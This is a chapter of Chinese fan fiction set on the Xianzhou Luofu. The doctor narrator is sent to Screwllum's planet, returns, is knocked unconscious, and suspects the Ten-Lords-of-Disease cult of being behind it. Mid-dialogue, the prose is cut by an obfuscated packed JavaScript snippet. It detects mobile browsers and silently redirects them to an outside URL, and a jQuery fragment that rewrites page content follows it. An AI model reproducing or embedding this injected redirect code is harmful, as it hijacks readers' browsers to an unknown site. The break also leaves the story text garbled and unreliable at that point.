很少有人拒绝毛茸茸又乖巧的小孩,可惜我是个冷漠无情的人。
告诉景元我实际上不仅和持明没有交集,反而过节诸多。
话音刚落,听到了干枯枝条被踩断的声音,门外掠过一个人影。
是生有龙角的高洁龙尊。
景元收回视线,他清亮的眼有一瞬间变得黯淡,但依然强打起精神,说是他让我感到难办对此他很抱歉。
看样子是觉得我在说谎。
于是我说:“看到龙尊刚刚过去了吗?他连看见我都觉得晦气。”
耳力很好尚未走远的饮月君:。
好大一口锅啊。
我不太关心别人在想什么,虽然进入鳞渊境是不可能的事,但我依旧向景元承诺如果有机会我一定会告诉他的。
得到承诺,小孩又支棱起来,仿佛从未有过失望。
他似乎完全没意识到,这种空口无凭的事,对卑鄙险恶的成年人来说,我们可以轻而易举毁诺。
当然,我没有毁诺的打算。毕竟,我根本不可能进鳞渊境嘛。
-
镜流的新剑在一次任务中断了,据说是因为承受不住她挥砍的力度。
虽然很少表现出来,但她这个人其实对武器挺挑剔的。之前的剑被随身带着,大概是很满意吧。
说起来,我好像从没听过她对新剑的评价。
她说就这两天,名为应星的工匠会上门一趟。
让我如果在家别忘记开门。
我让她别放心,因为我一定会忘——
不对,其实是我马上要出远门。
司鼎大人出席了一趟由公司组织的医士大会后,回来不知道发什么疯,给我订了去螺丝星学习医术的票。
我告诉了镜流这件事,她让我想去就去。
好吧,这边暂时安全了。
回到去螺丝星这件事上。
当时得到消息的我第一反应是,司鼎她老人家终于撑不住堕入魔阴了:“螺丝星都是机械吧?我去学什么医术?”
“学怎么治疗智械。”
“可我明明主攻仙舟人病理研究方向,辅修碳基短生种病理研究啊?”
“技多了不愁,再学一门。反正你有经验。”
“问题了智械属于硅基生物,你也是医士当然知道我等于要从头学起,说起来您好像经验最丰富,既然如此为什么您没有去学?”
司鼎大人说:“反正对你有好处。”
“好处在哪儿?你终于打算裁掉我让我去干机修工了?”
“那叫智械医生。注意措辞,小心你被告歧视硅基生命。”
好说歹说,司鼎大人强势道:“我不管,你必须去。”
然后就是现在了,我只能收拾行李灰溜溜登船,往螺丝星飘去。
望着船舱外逐渐遥远的仙舟,我内心充满了惆怅,这回离开不知道多久才能回来。
——别了镜流,别了,我爱的人们,我会在遥远的星海深处祈祷来日重逢。
以为我会这么做吗?
当然不。
仙舟此刻置身之处危机四伏,我怎么可能放心远离?
但是,司鼎从不无缘无故给我找麻烦。
她拐弯抹角让我不受注意离开罗浮,还是去那么遥远的螺丝星,一定有更深的理由。
虽然她没说是什么,但我觉得以我对她的了解就不必费功夫花时间去验证了。
如果真是她突发奇想,纯粹是对我的折腾。
那也没关系,中途下去,换一趟船偷偷回仙舟。
然而,计划第一步就出了意外,备用措施也因为司鼎亲至而被迫夭折。
她居然离开了丹鼎司,亲自压着我去了螺丝星。
观摩了两次手术,又听了回讲座。
晚上司鼎要去见老朋友,本来我跟在她后面,一辆车驶过她就在马路对面消失了。
我老老实实待在原地许久,一个智械绅士问我需不需要帮助。
在他的带领下,我成功找到了走丢的司鼎,想感谢对方时,发现这位绅士已经默默离开了。
司鼎又把我送回了仙舟罗浮,虽然没有证据,我总觉得她是自己想来,随便抓了个人一起。
螺丝星距离很远,虽然就待了一天,一来一回时间花的也足够久了。
等我回来,造翼者和慧骃的的结盟已经失败,听闻有五个人来自不同仙舟的英雄,以超人想象的智慧和力量,粉碎了他们的阴谋。
想到在飞船上受到的镜流发来的消息,下星槎时问旁边正讨论这件事的人:“那几个英雄叫什么?”
“这你都不知道?嗷嗷,刚回来啊。当然是镜流、丹枫……”
后面还说了几个几个名字,不过我没听。
我满脑子都是为什么我只是出去了短短几天就发生了这么多事,我究竟错过了什么?
但我又想到,即使我在又有什么用?一个医士,甚至是一个几乎废掉了惯用手的医士,真的有用吗?
这个念头只在我脑海中存在了几秒。
深吸口气,我不再思索。我不能怀疑自己。
人力微小,我永远无法与那种具备毁天灭地高层次力量的存在一样,但我也有我能做的事。
这样想着,路过一个巷口,后脑勺突然一重,紧接着大脑一轻。
我向后倒去,失去意识前的最后一个念头是:这地真硬啊。
再次醒来是在一个叫长机坪的地方。
看样子我一直躺在集装箱里,头上的伤口已经过包扎,嘴里苦苦的,砸吧两下好像有一股木头的味道。
扶着厢壁起身,头昏脑涨。
眼前还是一片黑的。
慢慢摸到门口,准备推门时却听到了外面的人声。
“……有什么了不起,明明是短生种凭什么骑到我们头上。”
“他是不是短生种和他的才能无关。”
“师父越来越看中他了,莫非想收他当徒弟。不行,我得找师父去。”
“好了,冷静一下。他师从怀炎将军,没可能转投到师父门下。”
“可是现在的情况很难让人安心啊,师兄,你才是师父的大弟子,工造司本就应该交到你手里。”
另一个声音沉默片刻:“不要再挑拨离间了,我知道你在想什么。”
“师兄,你在说什么啊?”
“他的事以后不要提了,师父看重谁那是师父的事。你只需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212928|181367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道,化外民和短生种的属性,就决定了他永远不可能成为司砧。”
我推开了门。
腐朽的声音惊的两人看来,见是个受伤的人不禁心下松了口气。
我捂着头问他们:“这是在哪里?你们是什么人?”
经工造司工匠保护,我先去了趟丹鼎司,见了一面云华,检查完身体没有异常后才回了家。
十目相对,站在我身后的两人看到曾被他们谈论的对象有些尴尬。师兄倒还点头打了招呼,在外人面前营造出一种工造司关系和谐的形象。
镜流正看一张图纸,应星在她对面坐着,两人看到我的样子不觉皱眉。
镜流更是问道:“谁干的?”
我摆手说是意外,谢过送我回来的那对师兄弟便关门进了房间,然后立即抽了一点儿血进行化验。
不要问我为什么能在卧室里做科研,为了方便工作,我曾委托工造司帮我打造了一个东西能够随身携带。
具体是什么就不说了,因为我还没想好怎么说。
总之,仙舟机巧,很神奇吧。
结果证明我的血里没有稀奇古怪的东西。沉思良久,我握了握手,然后继续思考。
屋外传来的脚步声渐近,我猛然惊醒,飞速收拾东西打开窗户。
镜流推了下门没推开,问我在里面做什么。
我说睡觉,她不太相信。
但是等打开门看见穿着睡衣的我又不得不信。
进门转了一圈,她鼻尖微耸:“怎么有血气?
“后脑勺受伤了,流点儿血正常。”
“你没事吧?”
“没有。先去丹鼎司检查了才回来,如你所见,非常健康。”
她笑了一下:“你在我眼里健康可谈不上。”
短暂聊了两句,她转身准备出去。
原地目送着她,我脑海里不合时宜浮现了一个小小的身影。
从何时起,这个身影逐渐变化,被覆盖了呢?
镜流她、有这么高吗?
“等一下。”
她停下脚步转身看我。
“有件事需要你知道。”
也许是意识到我严肃的态度不同寻常,她也郑重道:“你说。”
我轻轻叹了口气:“我今天被打晕扔到工造司的长机坪了。”
她凝视着我的眼睛,片刻目光又落地我头顶的绷带上,神色了然:“这就是你说的意外?”
“没错。我检查了身体,没发现异样,但醒来时嘴里有异物感,暂时不知道他们做了什么?”
“我去查。”
“不用。”
“为什么?”
“我知道是谁,先不要打草惊蛇。”
“……”过了许久,她终于开口了:“是谁?”
“药王秘传。”
“你想怎么做?”
“没有无缘无故的袭击,也没有毫无意义的行动。棋子既然落下,在某一刻必然发挥作用。首先我需要知道被当成棋子的我是为谁而下,这点已经很明白了。其次,我有一个计划需要你配合。”
在镜流发问之前,我突然说起另一件毫无关系的事:“对了,剑首选拔还没开始吗?”